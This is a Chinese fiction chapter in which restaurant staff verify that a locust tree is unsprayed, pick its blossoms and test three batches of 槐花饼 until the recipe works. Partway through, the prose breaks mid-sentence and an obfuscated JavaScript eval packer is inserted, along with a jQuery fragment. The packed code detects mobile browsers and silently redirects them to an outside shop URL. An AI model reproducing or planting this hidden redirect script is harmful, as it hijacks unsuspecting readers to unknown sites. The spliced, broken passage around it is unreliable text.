四时饭馆门口那棵老槐树开花时，孙禾惦记了整整半个月。
最开始只是零星几串，藏在新叶后面，风一吹，淡淡的甜香便从门缝里钻进来。孙禾每天开门第一件事，不是扫地，也不是看昨晚泡上的羊骨，而是站在台阶上仰头数花。
“陈姐，今天又多了。”
陈小满正在核对送来的面粉批次，头也没抬：“嗯。”
“再过两天就能摘了。”
“不能摘。”
孙禾回过头：“为什么？”
“树不是你的。”
“长在饭馆门口。”
“饭馆门口也不是饭馆院子。”
孙禾看了看树，又低头看了看自己脚下的台阶，显然第一次认真思考一棵树究竟归谁。
何婶端着一盆择好的青菜从后厨出来，见她那副模样，笑了一声：“这孩子从小是不是看见路边的果子就摘？”
“我奶奶说，不摘也是掉地上。”
“你奶奶有没有说，路边的树也会喷药？”
孙禾脸上的期待顿时少了一半。
她不死心，第二天还是搬了张小板凳出来。人刚踩上去，手还没碰到最低的一串花，身后便传来陈小满的声音。
“下来。”
孙禾扶着树干回头，语气十分诚恳：“我就摘一小把。”
“喷没喷药？”
“不知道。”
“谁管理？”
“不知道。”
“什么时候除过虫？”
“不知道。”
陈小满把板凳从她脚下接过去：“三个不知道，先别往嘴里放。”
“以前哪有这么多讲究。”何婶嘴上这么说，手却已经把孙禾拽了下来，“万一昨天刚喷完，做出来你自己全吃？”
孙禾望着满树槐花，心疼得像损失了一整炉秋酥。
当天午休，她真跑去了社区。
回来时已经过了下午三点，脸上没有半点摘到槐花的喜悦，只拿着一张自己写的询问记录。
“问清楚了。”她把纸放到陈小满面前，“这棵树归街道绿化管。前天刚做过虫害防治，喷的药要过安全间隔期，最近不能采。”
何婶“哎哟”了一声：“还真喷了。”
孙禾闷闷地说：“这么好看，全浪费了。”
“花开出来不是专门给你做饼的。”叶知味坐在窗边整理饭馆记录，闻言抬起头，“它也可以只开着。”
孙禾看了她一眼，又看向树，勉强接受了这个解释。
第二天，她在门边挂了一张小牌：
此树近期喷药，请勿采食。
牌子下面还画了一个歪歪扭扭的槐花串。
附近放学的孩子看见，围着念了半天。有个小男孩问她：“姐姐，不能吃为什么还画得这么香？”
孙禾蹲在门口改牌子：“那我画丑一点。”
陈小满从她身边经过，把笔抽走：“写清楚就行，别重新画。”
门口这棵树没吃成，孙禾仍没放弃。
四天后，送菜的老周说，河西小学旧围墙外有一棵老槐树，没人打药，花开得正好。孙禾听见时，手里的萝卜差点掉进水盆。
“真的没人喷？”
“那地方都没人管，谁给它喷？”
她立刻看向陈小满。
陈小满把萝卜从水里捞起来：“没人管，不等于没人喷。”
老周乐了：“你们吃个花还得做调查？”
孙禾替她回答：“要。”
她下午又跑了一趟。
这次没有只问一个人。先问学校后勤，再问社区，最后还打了园林养护电话。第二天早上，她拿回一张写得密密麻麻的纸：
河西小学旧围墙外老槐树，不在校内绿化范围；近三个月未安排药物喷洒；周边近期无病虫害防治标识；树下不靠机动车主路，无明显污水倾倒；可少量采集，但不得折枝。
下面还记了询问时间和对方姓氏。
陈小满看完，抬头问：“现场看了吗？”
“看了。”
“树下有没有狗一直去？”
“……”
孙禾僵了两秒。
何婶在后面笑得差点把面粉筛掉。
“明天再去看一眼。”陈小满把记录还给她，“只摘高处新开的，不捡落地的，不折枝。”
孙禾抱着纸，终于高兴起来：“那就是能做？”
“先摘回来再说。”
第二天正好是饭馆休息半日。
四个人吃过早饭，带着竹篮、长柄剪和两只干净布袋去了河西。陈小满原本只打算带孙禾，何婶听说以后，把围裙一解，也跟了出来。
“我是不放心你们两个。”她说，“不是馋。”
叶知味背着相机，走在最后：“没人说你馋。”
“你笑什么？”
“没笑。”
那棵老槐树长在旧围墙外，树冠很大，半边枝叶伸进废弃操场。花开得正盛，一串串垂下来，颜色不是纯白，靠近花萼的地方带一点浅黄。风吹过去，整棵树像轻轻晃了一下。
孙禾站在树下，仰头看了很久。
“比饭馆门口那棵还多。”
“先看树下。”陈小满提醒。
几个人绕着树走了一圈。
没有药袋、警示牌，也没有明显污水痕迹。靠马路一侧的枝条灰尘较重，陈小满没让摘，只选了伸向操场内的那一面。
孙禾拿长柄剪，何婶扶篮子。
第一剪下去，她用力太猛，连带着剪下一截细枝。
陈小满看了一眼。
孙禾立刻把剪口举给她看：“就这一点。”
“下一剪只剪花梗。”
“知道了。”
何婶道：“摘花不是做手术，差不多就行。”
“折多了明年少开。”
“这树比你年纪都大，用不着你替它操心。”
嘴上这样说，下一次孙禾剪偏时，何婶却先把她手腕往左托了一点。
她们没有摘满一整篮。
陈小满说够做三锅便停。孙禾还舍不得走，在树下转了两圈，最后捡起一串刚被风吹落、却还挂在矮灌木上的花。
“这个没落地。”
“也不带。”
“为什么？”
“不知道落下来多久了。”
孙禾叹了口气，把花放回原处。
回饭馆的路上，何婶终于忍不住：“吃你们一口槐花饼，能把人急死。”
叶知味抱着竹篮，低头闻了闻：“花很香。”
“香也不能空口吃。”何婶道，“回去先拣梗。”
这一拣就拣了近一个小时。
槐花里混着小叶、细枝和几只不知什么时候爬进去的小虫。孙禾起初还兴致勃勃，拣到后面便趴在桌上，只剩两根手指机械地拨拉。
“怎么这么多梗？”
“树上长出来就这样。”陈小满说。
“外面卖的怎么都干干净净？”
“有人替你拣过。”
孙禾重新坐直，把最后一把花倒进清水。
第一遍水里浮出灰尘和极小的虫。
第二遍清了些。
第三遍才基本干净。
陈小满没有长时间浸泡，只将槐花快速漂洗后摊开沥水。何婶原本想直接拌面蒸，孙禾却坚持做饼。
“我想吃外面焦一点，里面软的。”
“那水不能多。”何婶说，“花也别放得跟不要钱似的。”
孙禾看了一眼竹篮：“本来就没花钱。”
“你跑了三趟社区，怎么没花？”
第一锅由孙禾调糊。
槐花、面粉、鸡蛋、盐，再加一点水。她怕太干，水倒得十分大方，等陈小满转身拿平底锅时，盆里的面糊已经稀得能沿着筷子往下淌。
“这不是饼。”何婶看了一眼，“这是槐花汤。”
“还能补救。”
孙禾又往里加面粉。
加完觉得花少，再添槐花。
最后调出满满一盆，够卖半天。
陈小满没有替她重做，只让她先摊一只。
面糊倒进锅里，立刻往四边跑。孙禾拿铲子追着收，终于勉强收成一个不规则的圆。翻面时中间还没定形，整张饼从铲子上折下来，变成了两块。
何婶抱着手臂：“槐花饼开花了。”
孙禾不说话，把两块重新拼在一起。
第一锅出锅，外面看着金黄，里面却湿黏。咬开以后，面粉味很重，槐花反而没什么香气。
孙禾吃了两口，自己承认：“不好吃。”
“写。”陈小满把《四时试味》推给她。
孙禾拿起笔：
槐花饼试作一。
面糊加水过量，后补面粉，比例失控。饼体难成形，内部湿黏，槐花香弱。
写到后面，她又补了一句：
不能因为舍不得第一盆就一直往里补。
何婶瞥见，点点头：“这句有用。”
剩下的面糊没倒掉。
陈小满加了少量盐和葱花，改成薄薄的面片煎熟，给几个人当午饭配粥。不好吃的槐花饼没必要硬说成功，但能安全吃掉的面糊也不必全扔。
第二锅由何婶动手。
她不称重，全凭手感。槐花抓两把，面粉倒半碗，鸡蛋一个，水只加一点。调出来的糊稠度正好，摊进锅里也圆。
孙禾在旁边看得佩服：“何婶，你这不用记吗？”
“我做几十年了。”
“下次我怎么知道抓两把是多少？”
何婶的手停了一下。
陈小满已经把空碗放到秤上：“那就称。”
何婶嘴里嫌麻烦，还是把剩余原料按刚才大致用量重新称了一遍。
第二锅成形很好。
边缘煎得焦脆，中心柔软，槐花也足。几个人围着桌子尝了一口，却同时安静下来。
孙禾慢慢咽下去：“有点苦。”
何婶皱眉：“怎么会苦？”
叶知味掰开饼，挑出里面颜色较深的一朵：“这批里老花多，花梗也没去干净。”
她们摘的时候只顾着看是否新鲜，没有把刚开和已经开始发黄的分开。老花香气重，苦味也更明显。
孙禾有些泄气：“又失败了。”
“能吃。”何婶道，“放点糖就不苦了。”
陈小满摇头：“槐花本身苦，糖加进去也只是盖住。”
“饼里有一点苦又怎么了？”
“没怎么。”陈小满掰了一小块继续尝，“只是要知道苦从哪儿来。”
第二锅也写进试味册：
部分花已老，花梗去除不净，成品有明显苦味。未发现异常气味，不以糖遮苦。下一锅只用浅色新花，减少花梗。
何婶看着那盘饼：“这锅谁吃？”
“我们吃。”
“苦也吃？”
“知道为什么苦，能接受就吃。”
她们把第二锅切成小块，配着白粥吃完。孙禾吃到最后，竟觉得那点苦也没那么难受。
“其实有点像野菜。”
“你刚才还一脸要哭。”何婶说。
“我没哭。”
“嘴都撇了。”
下午休息前，四个人重新拣剩下的槐花。
这次很慢。
颜色发黄的挑出来，花梗过长的去掉，只留刚开的浅白花。孙禾一边拣一边说：“下次摘的时候就在树下分。”
陈小满道：“下次先看还要不要做。”
“肯定要。”
“第三锅还没成。”
“会成的。”
她说得很有信心。
第三锅没有人单独做。
孙禾称槐花。
何婶看面糊。
叶知味记录每一项重量。
陈小满掌火。
这次不再随意加水。洗过的槐花本身带着湿气，鸡蛋打散后只加了很少的水，面粉刚好能把花轻轻粘在一起。盐只放一点，另外切了极细的葱白，不抢槐花香。
面糊放进锅里时，没有四处流。
陈小满用铲背轻轻摊平，保持不厚不薄。锅底油温不高，先让中心熟透，再稍微升火，把两面煎出薄脆的边。
翻面时，整张饼稳稳落下。
孙禾在旁边小声欢呼了一下。
“还没出锅。”陈小满说。
“已经没碎。”
“没碎不等于好吃。”
“那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787484|207788||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
也值得先高兴。”
何婶难得站在孙禾这边：“这次她说得对。”
饼出锅后，没有立刻切。
陈小满让它在竹架上放了一会儿，散掉底部热气，免得回潮。槐花香慢慢从热面里透出来，不浓，却很清楚。
孙禾拿刀切成八块。
第一块给何婶。
“怎么先给我？”
“你年纪最大。”
“又不是排试吃名单。”
“那按离盘子最近。”
何婶接过来，吹了两下，咬了一口。
孙禾盯着她：“怎么样？”
何婶故意嚼得很慢。
“能吃。”
“只是能吃？”
“外面脆，里面软，花也不苦。”
孙禾立刻拿起第二块。
陈小满却先提醒：“烫。”
她咬得太急，还是被烫了一下，张着嘴吸了半天气。等终于尝清味道，眼睛一下亮起来。
“就是这个。”
槐花仍有一点很轻的青气。
鸡蛋和面粉没有把它压住。饼边酥脆，中心却不黏，咬下去能吃到一朵朵软下来的花。
没有特别惊艳。
却真的是她想了半个月的味道。
叶知味吃完一块，又拿了一小角：“可以放一点白胡椒吗？”
孙禾立刻反对：“不要。白胡椒会把花味压掉。”
陈小满看她：“这次知道不是什么都要往里添了？”
“我一直知道。”
何婶在旁边拆台：“第一锅是谁把半袋面粉添进去的？”
孙禾低头继续吃，假装没有听见。
第三锅的记录由她们四个人一起补完：
槐花饼试作三。
新鲜槐花去长梗，洗后充分沥水。槐花一百五十克，面粉八十克，鸡蛋一枚，水少量，盐适量，葱白少许。中小火煎熟，出锅后架空散汽。
操作：孙禾配料，何婶调糊，陈小满掌火，叶知味记录。
成品边缘酥脆，中心柔软，无明显苦味，槐花香可辨。
孙禾在最后加了一句：
折腾半个月，值得。
陈小满看见，没有删。
饭馆下午五点重新开门。
第三锅只剩四块。
孙禾原本想留着晚饭吃，门刚开，先前在饭馆门口看“喷药提示牌”的小男孩便跟着母亲进来。
他一眼看见柜台上的饼。
“姐姐，这是不是那棵不能吃的树？”
“不是。”
“那这棵能吃？”
“问过了，没喷药。”
小男孩听完，转头问母亲：“能买一块吗？”
饭馆菜单上没有槐花饼。
孙禾看向陈小满。
“今天是试做。”陈小满说，“只有四块，不单卖。”
小男孩有些失望。
陈小满想了想，把其中一块切成四小份，分别放进小碟。
“每桌送一小块。吃之前说明含鸡蛋和小麦。”
孙禾立刻照做。
那天晚上，四桌客人都吃到了槐花饼。
有人说香。
有人觉得没什么味。
还有一位老太太吃完后说：“我们小时候做这个，哪有你们这么麻烦，花摘回来一洗就下锅。”
何婶正要表示赞同，老太太又补了一句：
“不过那时候也吃坏过肚子，不知道怪什么。”
何婶把嘴闭上了。
陈小满没有借机教育谁，只问：“今天这块口感怎么样？”
“面少了点。”
孙禾拿着记录本：“您平时喜欢厚一点的饼吗？”
“厚点顶饿。”
她认真记下：
一名客人认为饼体偏薄，偏好厚实口感。暂不调整，后续可区分薄脆与厚软做法。
饭馆打烊后，只剩最后半块槐花饼。
四个人已经吃过不少，谁也没有再伸手。
何婶说：“放到明天肯定不好吃。”
孙禾道：“那分了。”
半块切成四小角，每人只有一口。
她们站在后厨灶边吃完，连碟子都没有拿。
孙禾咽下最后一口，问：“明年还做吗？”
“明年的花明年再看。”陈小满说。
“还要重新问喷药？”
“当然。”
“同一棵树也要问？”
“今年没喷，不代表明年没喷。”
孙禾叹气：“每年都这么折腾。”
叶知味把《四时试味》合上：“每年花也是新开的。”
孙禾想了想，觉得这句话有道理。
第二天早上，她把饭馆门口那块“近期喷药，请勿采食”的牌子重新写了一遍。安全间隔期还没到，老槐树上的花也已经开始往下落。
她没有再可惜。
只是扫地时，把落花和灰尘一起收进簸箕。
何婶看见，故意问：“不捡起来做饼了？”
“不做。”
“昨天不是还馋？”
“这棵不能吃。”
她答得十分自然。
仿佛半个月前踩着板凳准备偷摘的人不是她。
中午休息时，孙禾把第三锅槐花饼的配方重新誊到自己的小本子上。最上方没有写“祖传”，也没写“老槐树秘方”。
只写：
四时饭馆，槐花饼试作三。
下面又补了一句：
原料须重新确认，不照去年的树。
陈小满从她身后经过，看见后点了点头。
“这句留着。”
孙禾抬头：“陈姐。”
“嗯？”
“折腾半个月，就为了吃几口，真的不亏吗？”
陈小满看向门外。
槐花香已经淡了许多，饭馆里却还留着一点煎饼后的面香和油香。
“想吃，最后也吃到了。”
她说。
“没让不该进锅的东西进去，就不亏。”
孙禾低头笑了一下，把本子合上。
窗外又落下几朵槐花。
这一次，没有人急着把它们做成什么。